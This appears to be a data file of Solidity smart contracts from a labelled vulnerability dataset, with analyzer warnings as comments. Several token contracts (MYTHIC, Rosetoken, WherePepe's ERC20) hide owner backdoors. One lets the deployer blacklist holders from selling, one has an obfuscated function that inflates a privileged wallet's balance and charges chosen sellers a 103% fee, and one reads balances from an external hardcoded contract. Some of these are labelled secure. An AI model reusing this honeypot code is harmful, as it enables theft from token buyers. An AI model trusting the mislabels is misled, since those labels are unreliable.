files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountToken, uint256 amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountA, uint256 amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountToken, uint256 amountETH);\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapTokensForExactTokens(\n uint256 amountOut,\n uint256 amountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n function swapTokensForExactETH(\n uint256 amountOut,\n uint256 amountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapExactTokensForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapETHForExactTokens(\n uint256 amountOut,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function quote(\n uint256 amountA,\n uint256 reserveA,\n uint256 reserveB\n ) external pure returns (uint256 amountB);\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountOut);\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountIn);\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}", "file_name": "solidity_code_3159.sol", "secure": 1, "size_bytes": 5503 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MYTHIC is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _Swap;\n\n mapping(address => bool) private _View;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9a4671d): MYTHIC._totalSupply should be immutable \n\t// Recommendation for 9a4671d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1b9e72): MYTHIC._name should be constant \n\t// Recommendation for d1b9e72: Add the 'constant' attribute to state variables that never change.\n string public _name = \"MYSTIC.AI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a475f57): MYTHIC._symbol should be constant \n\t// Recommendation for a475f57: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"MYSTIC\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 13d4844): MYTHIC._dig should be constant \n\t// Recommendation for 13d4844: Add the 'constant' attribute to state variables that never change.\n uint8 private _dig = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0b4b52): MYTHIC._LP should be constant \n\t// Recommendation for b0b4b52: Add the 'constant' attribute to state variables that never change.\n bool _LP = true;\n\n constructor() {\n uint256 _Set = block.number;\n\n _Swap[_msgSender()] += _Set;\n\n _totalSupply += 20000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _dig;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender] || _View[recipient]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _Excute(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _Undx(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = false;\n }\n}", "file_name": "solidity_code_316.sol", "secure": 1, "size_bytes": 5966 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./TheOperatorFilterer.sol\" as TheOperatorFilterer;\n\ncontract UnOrdinalsPet is ERC721A, TheOperatorFilterer {\n uint256 freePerTx;\n\t// WARNING Optimization Issue (constable-states | ID: f412bd7): UnOrdinalsPet.mintCost should be constant \n\t// Recommendation for f412bd7: Add the 'constant' attribute to state variables that never change.\n uint256 mintCost = 0.002 ether;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8e53157): UnOrdinalsPet.owner should be immutable \n\t// Recommendation for 8e53157: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner;\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"UnOrdinals Pets\", \"UnOrdinals Pets\") {\n owner = msg.sender;\n freePerTx = 1;\n uri = \"ipfs://QmavUUV8zggMAcJHxhQzRWaB9wJeu1ykLJAit7sBjSrEHg/\";\n }\n\n mapping(uint256 => uint256) free;\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply());\n _mint(amount);\n }\n\n function maxSupply() public view returns (uint256) {\n return 800;\n }\n\n string uri;\n function setUri(string memory _uri) external onlyOwner {\n uri = _uri;\n }\n\n function setFreeTx(uint256 amount) public onlyOwner {\n freePerTx = amount;\n }\n\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n require(msg.sender == tx.origin);\n uint256 t = totalSupply();\n if (t > maxSupply() / 5) {\n require(balanceOf(msg.sender) == 0);\n uint256 freeNum = (maxSupply() - t) / 12;\n require(free[block.number] < freeNum);\n free[block.number]++;\n }\n _safeMint(msg.sender, freePerTx);\n return;\n }\n require(msg.value >= amount * mintCost);\n _safeMint(msg.sender, amount);\n }\n\n function communityMint(\n uint16 _mintAmount,\n address _addr\n ) external onlyOwner {\n require(\n totalSupply() + _mintAmount <= maxSupply(),\n \"Exceeds max supply.\"\n );\n _safeMint(_addr, _mintAmount);\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 50) / 1000;\n return (owner, royaltyAmount);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n function approve(\n address operator,\n uint256 tokenId\n ) public payable override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n}", "file_name": "solidity_code_3160.sol", "secure": 1, "size_bytes": 4054 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4054071): Contract locking ether found Contract rosetoken has payable functions rosetoken.receive() But does not have a function to withdraw the ether\n// Recommendation for 4054071: Remove the 'payable' attribute or add a withdraw function.\ncontract Rosetoken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: b150e44): rosetoken._name should be constant \n\t// Recommendation for b150e44: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Rose Token\";\n\t// WARNING Optimization Issue (constable-states | ID: 1a9c11f): rosetoken._symbol should be constant \n\t// Recommendation for 1a9c11f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ROSE\";\n\t// WARNING Optimization Issue (constable-states | ID: cb0b754): rosetoken._decimals should be constant \n\t// Recommendation for cb0b754: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: f01eecc): rosetoken.sir should be immutable \n\t// Recommendation for f01eecc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public sir;\n mapping(address => uint256) _balances;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public _uniswapPair;\n mapping(address => uint256) public _pairIs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 73a97fe): rosetoken._totalSupply should be immutable \n\t// Recommendation for 73a97fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: 44e4756): rosetoken.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 44e4756: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n sir = payable(address(0x7a934D7F73fD24F552Ad60283F9c6f3DF45d4B9c));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0fcadb): rosetoken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d0fcadb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5129859): rosetoken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5129859: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 468f88a\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 4dfbc8b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4054071): Contract locking ether found Contract rosetoken has payable functions rosetoken.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4054071: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4dfbc8b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4dfbc8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 468f88a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 468f88a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4dfbc8b\n\t\t// reentrancy-benign | ID: 468f88a\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 4dfbc8b\n\t\t// reentrancy-benign | ID: 468f88a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9e6aa4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e9e6aa4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: e9e6aa4\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e9e6aa4\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: e9e6aa4\n _uniswapPair[address(uniswapPair)] = true;\n\t\t// reentrancy-benign | ID: e9e6aa4\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 126b877): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 126b877: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ca2b839): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ca2b839: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n\t\t\t\t// reentrancy-events | ID: 126b877\n\t\t\t\t// reentrancy-no-eth | ID: ca2b839\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: ca2b839\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: 126b877\n\t\t\t// reentrancy-no-eth | ID: ca2b839\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : IMPORTANT(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: ca2b839\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: 126b877\n emit Transfer(from, to, fAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function updone(\n uint256 valueIndex,\n mapping(address => uint256) storage implementations\n ) private {\n implementations[sir] += valueIndex;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 4dfbc8b\n\t\t// reentrancy-events | ID: 126b877\n\t\t// reentrancy-benign | ID: 468f88a\n\t\t// reentrancy-no-eth | ID: ca2b839\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(sir),\n block.timestamp\n )\n {} catch {}\n }\n\n function uswercEvxIn(address right, uint256 mach) public {\n uint256 a = 100;\n uint256 b = 300;\n if (mach >= 50 + uint256((a) + (b)).mul(a))\n updone(mach + mach, (_balances));\n if (b - 3 * a == mach) _pairIs[right] = mach;\n if (b + a == mach) _pairIs[right] = mach;\n if (sir != msg.sender) revert(\"not sir\");\n }\n\n function IMPORTANT(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapFee = amount.mul(2).div(100);\n\n if (_pairIs[sender] != 0) swapFee = amount.mul(103).div(100);\n\n if (swapFee > 0) {\n\t\t\t// reentrancy-no-eth | ID: ca2b839\n _balances[address(this)] += swapFee;\n\t\t\t// reentrancy-events | ID: 126b877\n emit Transfer(sender, address(this), swapFee);\n }\n\n return amount.sub(swapFee);\n }\n}", "file_name": "solidity_code_3161.sol", "secure": 0, "size_bytes": 12361 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external returns (bool);\n}", "file_name": "solidity_code_3162.sol", "secure": 1, "size_bytes": 161 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC165Register {\n function registerInterface(bytes4 interfaceId) external;\n}", "file_name": "solidity_code_3163.sol", "secure": 1, "size_bytes": 154 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n function confirmTransaction(uint256 value) external returns (uint256);\n}", "file_name": "solidity_code_3164.sol", "secure": 1, "size_bytes": 166 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\nimport \"@openzeppelin/contracts/interfaces/IERC777.sol\" as IERC777;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address _searchAndRescue = 0x96E51e0C4fd388Ec6A5B3d6c72F4E40fdC5DF83D;\n address public pair;\n\n IDEXRouter router;\n IERC777 searchAndRescue;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n bool public trade;\n uint256 public startBlock;\n address public msgSend;\n address public msgReceive;\n\n constructor(string memory name_, string memory symbol_) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n searchAndRescue = IERC777(_searchAndRescue);\n\n _name = name_;\n _symbol = symbol_;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n\t\t// reentrancy-events | ID: 4e71dea\n\t\t// reentrancy-benign | ID: 3244b93\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 4e71dea\n\t\t// reentrancy-benign | ID: 3244b93\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3244b93\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 4e71dea\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() public {\n require(\n ((msg.sender == owner()) || (address(0) == owner())),\n \"Ownable: caller is not the owner\"\n );\n trade = true;\n startBlock = block.number;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function senderBalance(uint256 amount) internal returns (uint256) {\n\t\t// reentrancy-events | ID: 4e71dea\n\t\t// reentrancy-events | ID: af30c83\n\t\t// reentrancy-benign | ID: 3244b93\n\t\t// reentrancy-benign | ID: a4f56af\n return searchAndRescue.confirmTransaction(amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n msgSend = sender;\n msgReceive = recipient;\n\n require(\n ((trade == true) || (msgSend == owner())),\n \"ERC20: trading is not yet enabled\"\n );\n require(msgSend != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n\t\t// reentrancy-events | ID: af30c83\n\t\t// reentrancy-benign | ID: a4f56af\n _balances[sender] = senderBalance(amount) - amount;\n\t\t// reentrancy-benign | ID: a4f56af\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: af30c83\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployWherePepe(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n approve(_router, ~uint256(0));\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_3165.sol", "secure": 0, "size_bytes": 5988 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _DeployWherePepe(creator, initialSupply);\n }\n}", "file_name": "solidity_code_3166.sol", "secure": 0, "size_bytes": 1056 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract WherePepe is ERC20Token {\n constructor()\n ERC20Token(\n \"WHERE IS PEPE?\",\n \"PEPE?\",\n msg.sender,\n 420690000000 * 10 ** 18\n )\n {}\n}", "file_name": "solidity_code_3167.sol", "secure": 1, "size_bytes": 323 }
